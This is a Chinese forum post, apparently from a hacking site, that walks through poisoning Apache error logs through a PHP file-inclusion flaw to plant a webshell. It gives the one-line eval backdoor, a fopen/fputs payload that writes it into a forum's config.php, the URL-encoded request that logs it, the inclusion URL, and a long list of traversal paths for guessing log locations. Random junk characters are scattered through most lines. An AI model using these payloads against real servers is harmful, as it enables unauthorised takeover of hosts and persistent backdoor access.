php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。

3 G+ e! U, H% z8 k4 Y' F比如还是这句一句话木马
<?eval($_POST[cmd]);?>   
" j" H; y* R9 d: `# x
. }) p9 X  n; j8 ~, C到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
6 ~/ D$ s2 m% Kfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
5 H* J2 s8 c  h& x# J
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ V* Q% |1 u( y/ v: x& V1 D- Ffclose($fp);?>   //在config.php里写入一句木马语句
. U4 T% W( j3 H
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
  W+ u  E* ~4 R$ y6 J转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
8 l4 E) g' V9 n  b' R2 |! v7 c/ fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
) l3 R9 i3 s& ?- O) C: M%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
) |5 L3 Y2 @$ S+ W9 A, x我们提交
; _$ b" Z5 |" w9 Vhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
8 w6 e/ t' h6 Q$ e2 K4 z: q3 c5 v%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
- l- V* l) |% f& o' U+ l
' _0 S  u& G  C+ d+ r% i' s9 Y这样就错误日志里就记录下了这行写入webshell的代码。
; m# x, Z! h2 n& R- P/ S  _2 S我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log

. D- M  Y2 s- A" Y* t8 S( U这样webshell就写入成功了，config.php里就写入一句木马语句
: Q; C! [, U- @9 {$ nOK.
# ]: U' P; o/ q0 i+ f+ L$ ~http://www.xxx.com/forum/config.php这个就成了我们的webshell
直接用lanker的客户端一连，主机就是你的了。

, y$ V2 r5 J' t  YPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
, V# f2 Y; R3 i% j
其他的日志路径，你可以去猜，也可以参照这里。
# O- T. d2 S4 C  U../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
../apache/logs/error.log
+ U: {! |: Y, c, M. M$ L../apache/logs/access.log
. T6 X+ C# D& @. |! P, ?+ k& ~../../apache/logs/error.log
* o' Y7 Q9 n2 R& U6 Q7 A. J. t../../apache/logs/access.log
( P6 e1 q3 y3 q../../../apache/logs/error.log
../../../apache/logs/access.log
# m* T" z# k' x! `2 ^- q1 r) A../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
# l" Z1 y6 s  P: _5 Y% X% \6 W../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
$ P8 ~; t. p# V* o, d9 V& b! i../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
1 E" i5 y5 U2 T../../../../../../../../../../usr/local/apache/logs/access.log
  `, ?- h. V4 r, g4 ?0 Z& t0 E../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
../../../../../../../../../../var/log/access_log
' m+ x4 u8 z' Y; Q% H../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
1 e% G* {8 [+ }$ N" h5 x2 h5 t1 h../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
/ Q4 X& a/ X* k" \9 H: F3 j' S1 X6 c5 j../../../../../../../../../../var/log/apache/error.log
../../../../../../../../../../var/log/access_log
; k" u5 x. A% V$ l. r4 K& E5 I../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
% m9 o( F# l) g- `, R& L../apache/logs/access.log
) f3 S; M4 W4 M0 c, m/ U../../apache/logs/error.log
$ f& K3 r1 j& C2 V9 ~4 ]../../apache/logs/access.log
2 r' ]* H% ~- P../../../apache/logs/error.log
../../../apache/logs/access.log
+ z' i$ G2 `) m; N+ L/etc/httpd/logs/acces_log
0 Z3 S" f! w' g. y$ I) Z/etc/httpd/logs/acces.log
0 R* w: c7 r& v/ m& Q/etc/httpd/logs/error_log
/ b( r# `1 Q( ^4 Y/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
( u) u+ B2 o( e' x9 t5 {/usr/local/apache/logs/access_log
) ?; P, ?# d) f/usr/local/apache/logs/access.log
* X% i$ Y8 j% ]. o/var/log/apache/access_log
$ h. E* D# X9 u: W/var/log/apache/access.log
- M. X8 \. q" I" T4 R1 D. D/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
6 o" {0 H. w+ S* A; w/usr/local/apache/logs/error_log
# ^) L$ Y. h) ]* W# Y) n/usr/local/apache/logs/error.log
5 b, e6 i9 l- T, f% U/var/log/apache/error_log
/var/log/apache/error.log
4 j7 b# p/ H- q! w' i3 [$ `, k/ [, V/var/log/access_log
/var/log/error_log